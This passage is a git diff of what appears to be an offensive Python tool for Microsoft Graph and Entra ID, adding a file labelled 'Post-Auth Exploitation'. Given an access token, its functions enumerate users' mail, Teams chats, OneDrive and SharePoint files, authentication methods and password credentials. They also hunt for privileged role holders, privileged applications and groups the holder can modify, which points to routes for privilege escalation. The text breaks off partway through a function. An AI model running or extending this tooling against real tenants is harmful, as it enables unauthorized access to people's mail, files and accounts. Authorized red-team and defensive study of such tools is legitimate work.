* 80) + +# get-crosstenantaccesspolicy +def get_crosstenantaccesspolicy(args): + print_yellow("[*] Get-CrossTenantAccessPolicy") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy" + + if args.id: + api_url += f"/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-partnercrosstenantaccesspolicy +def get_partnercrosstenantaccesspolicy(args): + print_yellow("[*] Get-PartnerCrossTenantAccessPolicy") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration" + + if args.id: + api_url += f"/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userchatmessages +def get_userchatmessages(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-UserChatMessages command") + return + print_yellow("[*] Get-UserChatMessages") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-administrativeunitmember +def get_administrativeunitmember(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command") + return + + print_yellow("[*] Get-AdministrativeUnitMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members" + + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-onedrivefiles +def get_onedrivefiles(args): + print_yellow("[*] Get-OneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userpermissiongrants +def get_userpermissiongrants(args): + print_yellow("[*] Get-UserPermissionGrants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-oauth2permissiongrants +def get_oauth2permissiongrants(args): + print_yellow("[*] Get-oauth2PermissionGrants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-messages +def get_messages(args): + print_yellow("[*] Get-Messages") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/messages" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-temporaryaccesspassword +def get_temporaryaccesspassword(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command") + return + print_yellow("[*] Get-TemporaryAccessPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-password +def get_password(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-Password command") + return + print_yellow("[*] Get-Password") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-authmethods +def list_authmethods(args): + print_yellow("[*] List-AuthMethods") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-directoryroles +def list_directoryroles(args): + print_yellow("[*] List-DirectoryRoles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/directoryRoles" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-notebooks +def list_notebooks(args): + print_yellow("[*] List-Notebooks") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalaccesspolicies +def list_conditionalaccesspolicies(args): + print_yellow("[*] List-ConditionalAccessPolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalauthenticationcontexts +def list_conditionalauthenticationcontexts(args): + print_yellow("[*] List-ConditionalAuthenticationContexts") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalnamedlocations +def list_conditionalnamedlocations(args): + print_yellow("[*] List-ConditionalNamedLocations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-sharepointroot +def list_sharepointroot(args): + print_yellow("[*] List-SharePointRoot") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/sites/root" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve current user: {response.status_code}") + print_red(response.text) + print("=" * 80) + + +# list-sharepointsites +def list_sharepointsites(args): + print_yellow("[*] List-SharePointSites") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/sites" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-sharepointurls +def list_sharepointurls(args): + print_yellow("[*] List-SharePointURLs") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + data = { + "requests": [ + { + "entityTypes": ["drive"], + "query": { + "queryString": "*" + }, + "from": 0, + "size": 500, + "fields": [ + "webUrl" + ] + } + ] + } + + try: + response = requests.post(api_url, headers=headers, json=data, timeout=30) + response.raise_for_status() + + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + else: + print_yellow("[-] No results found in the response.") + + next_link = response_body.get("@odata.nextLink") + while next_link: + response = requests.get(next_link, headers=headers, timeout=30) + response.raise_for_status() + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + + next_link = response_body.get("@odata.nextLink") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to search data: {str(e)}") + if hasattr(e, 'response'): + print_red(e.response.text) + + print("=" * 80) + +# list-externalconnections +def list_externalconnections(args): + print_yellow("[*] List-ExternalConnections") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/external/connections" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-applications +def list_applications(args): + print_yellow("[*] List-Applications") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/applications" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + applications = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + applications = None + + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + + permissions = parse_roleids(content) + + if applications and 'value' in applications: + for app in applications['value']: + for key, value in app.items(): + if key == 'requiredResourceAccess': + if value: + print_green(f"{key}:") + for resource in value: + print_green(f" Resource App ID: {resource['resourceAppId']}") + for access in resource['resourceAccess']: + role_id = access['id'] + role_type = access['type'] + if role_id in permissions: + perm_type, role_name, description, consent_required = permissions[role_id] + print_green(f" Role ID: {role_id}") + print_green(f" Role Name: {role_name}") + print_green(f" Description: {description}") + print_green(f" Type: {role_type}") + print_green(f" Permission Type: {perm_type}") + print_green(f" Admin Consent Required: {consent_required}") + else: + print_red(f" Role ID: {role_id} (Information not found)") + print_red(f" Type: {role_type}") + print(" ---") + else: + print_red(f"{key} : No assignments") + else: + print(f"{key} : {value}") + print("\n") + print("=" * 80) + +# list-serviceprincipals +def list_serviceprincipals(args): + print_yellow("[*] List-ServicePrincipals") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/servicePrincipals" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-tenants +def list_tenants(args): + print_yellow("[*] List-Tenants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-joinedteams +def list_joinedteams(args): + print_yellow("[*] List-JoinedTeams") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-chats +def list_chats(args): + print_yellow("[*] List-Chats") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/chats" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-chatmessages +def list_chatmessages(args): + if not args.id: + print_red("[-] Error: --id argument is required for List-ChatMessages command") + return + + print_yellow("[*] List-ChatMessages") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-devices +def list_devices(args): + print_yellow("[*] List-Devices") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/devices" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-administrativeunits +def list_administrativeunits(args): + print_yellow("[*] List-AdministrativeUnits") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-onedrives +def list_onedrives(args): + print_yellow("[*] List-OneDrives") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drives" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-recentonedrivefiles +def list_recentonedrivefiles(args): + print_yellow("[*] List-RecentOneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/recent" + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + try: + while api_url: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = response_body.get('value', []) + if filtered_data: + file_count = 1 + for d in filtered_data: + print_green(f"File {file_count}") + if args.select: + selected_fields = args.select.split(',') + for field in selected_fields: + value = d + for part in field.split('.'): + if isinstance(value, dict) and part in value: + value = value[part] + else: + value = None + break + if value is not None: + print(f"{field} : {value}") + else: + for key, value in d.items(): + if isinstance(value, (str, int, float, bool)): + print(f"{key} : {value}") + elif isinstance(value, dict): + print(f"{key} : {json.dumps(value, indent=2)}") + else: + print(f"{key} : {str(value)}") + print("\n") + file_count += 1 + else: + print_red("[-] No data found") + return + + api_url = response_body.get("@odata.nextLink") + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + print("=" * 80) + +# list-sharedonedrivefiles +def list_sharedonedrivefiles(args): + print_yellow("[*] List-SharedOneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-onedriveurls +def list_onedriveurls(args): + print_yellow("[*] List-OneDriveURLs") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + data = { + "requests": [ + { + "entityTypes": ["driveItem"], # get OneDrive and SharePoint - no only OneDrive option + "query": { + "queryString": "*" + }, + "from": 0, + "size": 500, + "fields": [ + "webUrl" + ] + } + ] + } + + try: + response = requests.post(api_url, headers=headers, json=data, timeout=30) + response.raise_for_status() + + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + else: + print_yellow("[-] No results found in the response.") + + next_link = response_body.get("@odata.nextLink") + while next_link: + response = requests.get(next_link, headers=headers, timeout=30) + response.raise_for_status() + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + + next_link = response_body.get("@odata.nextLink") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to search data: {str(e)}") + if hasattr(e, 'response'): + print_red(e.response.text) + + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/exploit.py b/Graphpython/commands/exploit.py new file mode 100644 index 0000000..b064366 --- /dev/null +++ b/Graphpython/commands/exploit.py @@ -0,0 +1,1339 @@ +import requests +import json +import os +import time +import sys +from tqdm import tqdm +from datetime import datetime, timedelta, timezone +from tabulate import tabulate +from bs4 import BeautifulSoup +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.hazmat.backends import default_backend +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert + +########################## +# Post-Auth Exploitation # +########################## + +# invoke-customquery +def invoke_customquery(args): + if not args.query: + print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command") + return + + print_yellow("[*] Invoke-CutstomQuery") + print("=" * 80) + api_url = args.query + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if "@odata.context" in response_json: + del response_json["@odata.context"] + print(json.dumps(response_json, indent=4)) + else: + print_red(f"[-] Failed to retrieve query: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-search +def invoke_search(args): + if not args.search or not args.entity: + print_red("[-] Error: --search and --entity required for Invoke-Search command") + return + + print_yellow("[*] Invoke-Search") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "requests": [ + { + "entityTypes": [args.entity], + "query": { + "queryString": args.search + } + } + ] + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + highlighted_value = highlight_search_term(pretty_value, args.search) + print(f"{key}: {highlighted_value}") + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + else: + print_red(f"[-] Failed to search data: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# find-privilegedroleusers +def find_privilegedroleusers(args): + roles = [ + {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, + {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, + {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, + {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, + {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, + {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, + {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, + {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, + {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, + {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, + {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, + {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, + {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, + {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, + {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, + {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, + {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, + {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, + {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, + {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, + {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, + {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, + {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, + {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, + {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, + {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, + {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, + {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} + ] + + print_yellow("[*] Find-PrivilegedRoleUsers") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + for role in roles: + api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members" + response = requests.get(api_url, headers=headers) + if response.ok: + print_green(f"[+] Role: {role['displayName']}") + print(f"Description: {role['description']}") + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + format_list_style(filtered_data) + else: + print_red(f"[-] Role: {role['displayName']}") + print("=" * 80) + +# find-privilegedapplications +def find_privilegedapplications(args): + print_yellow("[*] Find-PrivilegedApplications") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId" + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + applications = response.json() + app_ids = [app['appId'] for app in applications.get('value', [])] + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + app_ids = [] + + service_principals = [] + for app_id in app_ids: + sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName" + sp_response = requests.get(sp_api_url, headers=headers) + + if sp_response.status_code == 200: + sp_data = sp_response.json() + for sp in sp_data.get('value', []): + service_principals.append({ + 'id': sp['id'], + 'appDisplayName': sp['appDisplayName'] + }) + else: + print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}") + + app_role_assignments = {} + for sp in service_principals: + app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments" + app_role_response = requests.get(app_role_url, headers=headers) + + if app_role_response.status_code == 200: + assignments = app_role_response.json() + app_role_assignments[sp['id']] = { + 'appDisplayName': sp['appDisplayName'], + 'assignments': assignments.get('value', []) + } + else: + print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}") + print_red(app_role_response.text) + + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + permissions = parse_roleids(content) + + # results + for sp_id, data in app_role_assignments.items(): + print(f"\nApplication: {data['appDisplayName']}") + if data['assignments']: + for assignment in data['assignments']: + app_role_id = assignment.get('appRoleId', 'N/A') + print_green(f"[+] App Role ID: {app_role_id}") + if app_role_id in permissions: + role_type, role_name, description, consent_required = permissions[app_role_id] + print_green(f"[+] Role Name: {role_name}") + print_green(f"[+] Description: {description}") + #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants + #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms + else: + print_red(f"[-] Role information not found for App Role ID: {app_role_id}") + print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}") + print("---") + else: + print_red("[-] No role assignments") + print("=" * 80) + +# find-updatablegroups +def find_updatablegroups(args): + print_yellow("[*] Find-UpdatableGroups") + print("=" * 80) + graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" + estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" + + default_fields = ['id', 'displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility'] + + if args.select: + select_fields = args.select.split(',') + graph_api_endpoint += f"?$select=id,{args.select}" + else: + select_fields = default_fields + graph_api_endpoint += f"?$select=id,{','.join(select_fields)}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + results = [] + while graph_api_endpoint: + try: + response = requests.get(graph_api_endpoint, headers=headers) + response.raise_for_status() + response_data = response.json() + for group in response_data['value']: + if 'id' not in group: + print_yellow(f"[-] Group without 'id' found, skipping") + continue + group_id = group['id'] + request_body = { + "resourceActionAuthorizationChecks": [ + { + "directoryScopeId": f"/{group_id}", + "resourceAction": "microsoft.directory/groups/members/update" + } + ] + } + + while True: + try: + estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body) + estimate_response.raise_for_status() + estimate_data = estimate_response.json() + if estimate_data['value'][0]['accessDecision'] == "allowed": + group_out = {k: group.get(k) for k in select_fields if k in group} + results.append(group_out) + break + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Requests throttled... sleeping for 5 seconds") + time.sleep(5) + else: + print_red(f"[-] Error estimating access for group: {str(e)}") + break + except requests.exceptions.RequestException as e: + print_red(f"[-] Error estimating access for group: {str(e)}") + break + graph_api_endpoint = response_data.get('@odata.nextLink') + except requests.exceptions.RequestException as e: + print_red(f"[-] Error fetching Groups: {str(e)}") + break + if results: + max_key_length = max(len(key) for result in results for key in result.keys()) + for result in results: + for key, value in result.items(): + print(f"{key:<{max_key_length}} : {value}") + print("") + else: + print_red("[-] No updatable groups found") + print("=" * 80) + +# find-dynamicgroups +def find_dynamicgroups(args): + print_yellow("[*] Find-DynamicGroups") + print("=" * 80) + graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" + estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + results = [] + while graph_api_endpoint: + try: + while True: + try: + response = requests.get(graph_api_endpoint, headers=headers) + response.raise_for_status() + break + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Requests throttled... sleeping 5 seconds") + time.sleep(5) + else: + raise + response_data = 